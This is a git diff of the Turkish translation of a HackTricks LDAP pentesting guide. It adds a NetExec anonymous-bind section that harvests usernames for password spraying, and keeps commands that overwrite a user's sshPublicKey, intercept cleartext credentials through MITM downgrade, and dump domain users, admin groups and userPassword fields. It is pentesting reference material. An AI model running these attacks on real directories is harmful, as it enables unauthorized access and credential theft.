mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's
This commit is contained in:
parent
ed3cc07cab
commit
9953dcc868
@ -2,21 +2,21 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki versiyonu DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar.
|
The use of **LDAP** (Hafif Dizin Erişim Protokolü) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
|
||||||
|
|
||||||
LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **kopyalanmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir; bu sunucu, talep sahibine birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir.
|
LDAP dizinleri, birden çok sunucuya dağıtılmalarına izin verecek şekilde yapılandırılır; her sunucu dizinin **çoğaltılmış** ve **senkronize edilmiş** bir kopyasını barındırır, buna Dizin Sistem Ajanı (DSA) denir. İstekleri işlemekten tamamen LDAP sunucusu sorumludur; gerektiğinde tek bir yanıt sunmak için diğer DSA'larla iletişim kurabilir.
|
||||||
|
|
||||||
LDAP dizininin organizasyonu, **en üstte kök dizin ile başlayan bir ağaç hiyerarşisini** andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır.
|
LDAP dizin yapısı, en üstteki kök dizin ile başlayan bir **ağaç hiyerarşisine** benzer. Bu, ülkelere dallanır; oradan kuruluşlara, ardından çeşitli bölümleri veya departmanları temsil eden organizasyon birimlerine (organizational units) ve en sonunda kişiler ile dosyalar ve yazıcılar gibi paylaşılan kaynakları da içeren bireysel varlıklar düzeyine ulaşır.
|
||||||
|
|
||||||
**Varsayılan port:** 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur.
|
**Varsayılan port:** 389 ve 636(ldaps). Global Catalog (LDAP in ActiveDirectory) varsayılan olarak 3268 portunda, LDAPS için ise 3269 portunda kullanılabilir.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
389/tcp open ldap syn-ack
|
389/tcp open ldap syn-ack
|
||||||
636/tcp open tcpwrapped
|
636/tcp open tcpwrapped
|
||||||
```
|
```
|
||||||
### LDAP Veri Değişim Formatı
|
### LDAP Data Interchange Format
|
||||||
|
|
||||||
LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme taleplerini (Ekle, Değiştir, Sil, Yeniden Adlandır) de temsil edebilir.
|
LDIF (LDAP Data Interchange Format), dizin içeriğini bir kayıt kümesi olarak tanımlar. Ayrıca güncelleme isteklerini (Add, Modify, Delete, Rename) de temsil edebilir.
|
||||||
```bash
|
```bash
|
||||||
dn: dc=local
|
dn: dc=local
|
||||||
dc: local
|
dc: local
|
||||||
@ -45,14 +45,14 @@ ou:
|
|||||||
mail: pepe@hacktricks.xyz
|
mail: pepe@hacktricks.xyz
|
||||||
phone: 23627387495
|
phone: 23627387495
|
||||||
```
|
```
|
||||||
- Satır 1-3, üst düzey alan adını local olarak tanımlar
|
- Satırlar 1-3 üst düzey etki alanı local'ı tanımlar
|
||||||
- Satır 5-8, birinci düzey alan adını moneycorp (moneycorp.local) olarak tanımlar
|
- Satırlar 5-8 birinci seviye etki alanı moneycorp'ı (moneycorp.local) tanımlar
|
||||||
- Satır 10-16, 2 organizasyonel birimi: dev ve sales tanımlar
|
- Satırlar 10-16 iki organizasyon birimini tanımlar: dev ve sales
|
||||||
- Satır 18-26, alanın bir nesnesini oluşturur ve değerlerle birlikte nitelikler atar
|
- Satırlar 18-26 etki alanına ait bir nesne oluşturur ve özniteliklere değerler atar
|
||||||
|
|
||||||
## Veri Yazma
|
## Write data
|
||||||
|
|
||||||
Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcı veya herhangi bir kullanıcının **"sshPublicKey" bilgisini değiştirebildiğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'de etkin olmasa bile o kullanıcı olarak giriş yapabileceksiniz.**
|
Not: Değerleri değiştirebiliyorsanız gerçekten ilginç işlemler gerçekleştirebilirsiniz. Örneğin, kendi kullanıcı hesabınızın veya herhangi bir kullanıcının **"sshPublicKey" bilgilerini değiştirebileceğinizi** düşünün. Eğer bu öznitelik mevcutsa büyük olasılıkla **ssh, genel anahtarları LDAP'tan okuyor**. Bir kullanıcının genel anahtarını değiştirebilirseniz, **ssh'da parola doğrulaması etkin olmasa bile o kullanıcı olarak giriş yapabilirsiniz**.
|
||||||
```bash
|
```bash
|
||||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
@ -64,30 +64,55 @@ True
|
|||||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||||
```
|
```
|
||||||
## Düz Metin Kimlik Bilgilerini Dinleme
|
## Clear text credentials'i sniff etme
|
||||||
|
|
||||||
Eğer LDAP SSL olmadan kullanılıyorsa, ağda **kimlik bilgilerini düz metin olarak dinleyebilirsiniz.**
|
Eğer LDAP SSL olmadan kullanılıyorsa ağ üzerinde **sniff credentials in plain text** yapabilirsiniz.
|
||||||
|
|
||||||
Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **düz metin kimlik bilgilerini** kullanarak giriş yapması için bir **Downgrade Attack** yapabilirsiniz.
|
Ayrıca, ağda **MITM** saldırısı gerçekleştirebilir ve **between the LDAP server and the client.** arasına girerek. Burada bir **Downgrade Attack** yaparak client'ın **credentials in clear text** kullanıp oturum açmasını sağlayabilirsiniz.
|
||||||
|
|
||||||
**Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak **yanlış bir sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur.
|
**If SSL is used** durumunda yukarıda bahsedildiği gibi bir **MITM** denemeye çalışabilir ve bir **false certificate** sunabilirsiniz; eğer **user accepts it** ise authentication yöntemini Downgrade ederek credentials'leri tekrar görebilirsiniz.
|
||||||
|
|
||||||
## Anonim Erişim
|
## Anonymous Access
|
||||||
|
|
||||||
### TLS SNI kontrolünü atlama
|
### TLS SNI check'i atlatma
|
||||||
|
|
||||||
[**bu yazıya**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) göre, LDAP sunucusuna rastgele bir alan adı (örneğin company.com) ile erişerek, anonim bir kullanıcı olarak LDAP hizmetiyle iletişim kurup bilgi çıkarabildi.
|
According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) sadece rastgele bir domain adıyla (ör. company.com) LDAP server'a erişerek LDAP servisine bağlanabildi ve anonim bir kullanıcı olarak bilgi çıkarabildi:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||||
```
|
```
|
||||||
### LDAP anonim bağlanmaları
|
### LDAP anonymous binds
|
||||||
|
|
||||||
[LDAP anonim bağlanmaları](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled), **kimlik doğrulaması yapılmamış saldırganların** alan bilgilerini, kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özelliklerinin ve alan parola politikasının tam listesini almasına olanak tanır. Bu, **eski bir yapılandırmadır** ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP istekleri başlatmasına izin verilmektedir.\
|
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **kimlik doğrulaması yapılmamış saldırganların** domain’den, örneğin kullanıcıların, grupların, bilgisayarların tam listesi, kullanıcı hesap öznitelikleri ve domain parola politikası gibi bilgileri almasına olanak tanır. Bu **eski bir yapılandırmadır**, ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP isteği başlatmasına izin verilmektedir.\
|
||||||
Ancak, yöneticiler **anonim bağlanmalara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir** ve böylece niyet edilen erişim miktarından daha fazlasını vererek kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim sağlamış olabilirler.
|
Ancak yöneticiler belirli bir uygulamayı **anonymous binds’e izin verecek şekilde yapılandırmak** zorunda kalmış ve amaçlanandan fazla erişim vermiş olabilir; bu da kimlik doğrulaması yapılmamış kullanıcılara AD içindeki tüm nesnelere erişim sağlayabilir.
|
||||||
|
|
||||||
|
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||||
|
|
||||||
|
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
|
||||||
|
- (objectClass=*) to inventory objects under a base DN
|
||||||
|
- (sAMAccountName=*) to harvest user principals
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
```bash
|
||||||
|
# Enumerate objects from the root DSE (base DN autodetected)
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||||
|
|
||||||
|
# Dump users with key attributes for spraying and targeting
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||||
|
|
||||||
|
# Extract just the sAMAccountName field into a list
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||||
|
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||||
|
```
|
||||||
|
Nelere bakılmalı:
|
||||||
|
- sAMAccountName, userPrincipalName
|
||||||
|
- memberOf ve OU placement, hedeflenen sprays'lerin kapsamını belirlemek için
|
||||||
|
- pwdLastSet (zaman desenleri), userAccountControl flags (disabled, smartcard required, vb.)
|
||||||
|
|
||||||
|
Not: Eğer anonymous bind izinli değilse, genellikle bind gerektiğini belirten bir Operations error görürsünüz.
|
||||||
|
|
||||||
## Geçerli Kimlik Bilgileri
|
## Geçerli Kimlik Bilgileri
|
||||||
|
|
||||||
LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, alan yöneticisi hakkında tüm bilgileri dökümleyebilirsiniz:
|
LDAP sunucusuna giriş için geçerli kimlik bilgilerine sahipseniz, Domain Admin hakkında tüm bilgileri dump etmek için şunu kullanabilirsiniz:
|
||||||
|
|
||||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||||
```bash
|
```bash
|
||||||
@ -98,9 +123,9 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
|
|||||||
|
|
||||||
## Enumeration
|
## Enumeration
|
||||||
|
|
||||||
### Automated
|
### Otomatik
|
||||||
|
|
||||||
Bunu kullanarak **kamusal bilgileri** (örneğin alan adı)**:** görebileceksiniz.
|
Bunu kullanarak **kamuya açık bilgileri** (örneğin alan adı)**:**
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||||
```
|
```
|
||||||
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Python ile LDAP sayımı görün</summary>
|
<summary>python ile LDAP enumeration'ını görün</summary>
|
||||||
|
|
||||||
**Python kullanarak kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı** deneyebilirsiniz: `pip3 install ldap3`
|
Kimlik bilgileri ile veya olmadan python kullanarak LDAP enumeration'ını **gerçekleştirmeyi deneyebilirsiniz**: `pip3 install ldap3`
|
||||||
|
|
||||||
Öncelikle **kimlik bilgileri olmadan** bağlanmayı deneyin:
|
İlk olarak **kimlik bilgisi olmadan** bağlanmayı deneyin:
|
||||||
```bash
|
```bash
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||||
@ -121,7 +146,7 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||||||
True
|
True
|
||||||
>>> server.info
|
>>> server.info
|
||||||
```
|
```
|
||||||
Eğer yanıt `True` ise, LDAP'dan bazı **ilginç veriler** (örneğin **isim bağlamı** veya **alan adı**) elde edebilirsiniz:
|
Önceki örnekte olduğu gibi yanıt `True` ise, LDAP sunucusunun bazı **ilginç verilerini** (örneğin **naming context** veya **domain name**) şu yerlerden elde edebilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
>>> server.info
|
>>> server.info
|
||||||
DSA info (from DSE):
|
DSA info (from DSE):
|
||||||
@ -129,13 +154,13 @@ Supported LDAP versions: 3
|
|||||||
Naming contexts:
|
Naming contexts:
|
||||||
dc=DOMAIN,dc=DOMAIN
|
dc=DOMAIN,dc=DOMAIN
|
||||||
```
|
```
|
||||||
Bir isimlendirme bağlamına sahip olduğunuzda, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir:
|
Adlandırma bağlamına sahip olduğunuzda daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu dizindeki tüm nesneleri göstermelidir:
|
||||||
```bash
|
```bash
|
||||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||||
True
|
True
|
||||||
>> connection.entries
|
>> connection.entries
|
||||||
```
|
```
|
||||||
Veya **dump** tüm ldap:
|
Veya tüm ldap'ı **dump** et:
|
||||||
```bash
|
```bash
|
||||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||||
True
|
True
|
||||||
@ -145,7 +170,7 @@ True
|
|||||||
|
|
||||||
### windapsearch
|
### windapsearch
|
||||||
|
|
||||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) bir Windows etki alanından **kullanıcıları, grupları ve bilgisayarları listelemek için** LDAP sorgularını kullanarak faydalı bir Python betiğidir.
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) LDAP sorgularını kullanarak bir Windows etki alanındaki **enumerate kullanıcıları, grupları ve bilgisayarları** çıkarmaya yarayan bir Python betiğidir.
|
||||||
```bash
|
```bash
|
||||||
# Get computers
|
# Get computers
|
||||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
|||||||
```
|
```
|
||||||
### ldapsearch
|
### ldapsearch
|
||||||
|
|
||||||
Geçersiz kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
|
Null credentials veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
@ -173,9 +198,9 @@ result: 1 Operations error
|
|||||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||||
tion a successful bind must be completed on the connection., data 0, v3839
|
tion a successful bind must be completed on the connection., data 0, v3839
|
||||||
```
|
```
|
||||||
Eğer "_bind must be completed_" diyen bir şey bulursanız, bu, kimlik bilgilerinin yanlış olduğu anlamına gelir.
|
Eğer "_bind must be completed_" yazısı görürseniz, kimlik bilgilerinin yanlış olduğu anlamına gelir.
|
||||||
|
|
||||||
Bir **alan adından her şeyi** çıkartabilirsiniz:
|
Bir domain'den **her şeyi** aşağıdaki komutla çıkarabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
-x Simple Authentication
|
-x Simple Authentication
|
||||||
@ -184,49 +209,49 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
|||||||
-w My password
|
-w My password
|
||||||
-b Base site, all data from here will be given
|
-b Base site, all data from here will be given
|
||||||
```
|
```
|
||||||
Kullanıcıları çıkarın:
|
Çıkar **kullanıcıları**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||||
```
|
```
|
||||||
**bilgisayarlar**
|
Çıkar **bilgisayarlar**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Çek **bilgilerimi**:
|
Çıkar **bilgilerimi**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**Domain Admins**'i Çıkarın:
|
Çıkar **Domain Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**Domain Kullanıcıları**:
|
Çıkar **Domain Users**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**Enterprise Admins**:
|
Çıkar **Enterprise Admins**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**Yönetici**:
|
Çıkar **Administrators**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
**Uzak Masaüstü Grubu**:
|
Çıkar **Uzak Masaüstü Grubu**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Herhangi bir şifreye erişiminiz olup olmadığını görmek için, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:
|
Herhangi bir parolaya erişiminiz olup olmadığını görmek için sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:
|
||||||
```bash
|
```bash
|
||||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||||
```
|
```
|
||||||
Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın...
|
Lütfen burada bulacağınız passwords gerçek olmayabilir...
|
||||||
|
|
||||||
#### pbis
|
#### pbis
|
||||||
|
|
||||||
**pbis**'i buradan indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` dizinine kurulur.\
|
Buradan **pbis**'i indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` altında kurulur.\
|
||||||
**Pbis**, temel bilgileri kolayca almanızı sağlar:
|
**Pbis** temel bilgileri kolayca almanızı sağlar:
|
||||||
```bash
|
```bash
|
||||||
#Read keytab file
|
#Read keytab file
|
||||||
./klist -k /etc/krb5.keytab
|
./klist -k /etc/krb5.keytab
|
||||||
@ -255,13 +280,13 @@ Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın
|
|||||||
./list-groups-for-user <username>
|
./list-groups-for-user <username>
|
||||||
./lsa list-groups-for-user <username>
|
./lsa list-groups-for-user <username>
|
||||||
#Get groups of each user
|
#Get groups of each user
|
||||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get users of a group
|
#Get users of a group
|
||||||
./enum-members --by-name "domain admins"
|
./enum-members --by-name "domain admins"
|
||||||
./lsa enum-members --by-name "domain admins"
|
./lsa enum-members --by-name "domain admins"
|
||||||
#Get users of each group
|
#Get users of each group
|
||||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get description of each user
|
#Get description of each user
|
||||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||||
@ -270,47 +295,47 @@ echo "$line";
|
|||||||
echo "======================"
|
echo "======================"
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
## Grafik Arayüzü
|
## Grafiksel Arayüz
|
||||||
|
|
||||||
### Apache Directory
|
### Apache Directory
|
||||||
|
|
||||||
[**Apache Directory'yi buradan indirin**](https://directory.apache.org/studio/download/download-linux.html). Bu aracın nasıl kullanılacağına dair bir [örneği buradan bulabilirsiniz](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||||
|
|
||||||
### jxplorer
|
### jxplorer
|
||||||
|
|
||||||
LDAP sunucusu ile grafik bir arayüzü buradan indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
Buradan LDAP sunuculu grafiksel bir arayüz indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||||
|
|
||||||
Varsayılan olarak şu dizine kurulur: _/opt/jxplorer_
|
Varsayılan olarak kurulduğu yer: _/opt/jxplorer_
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
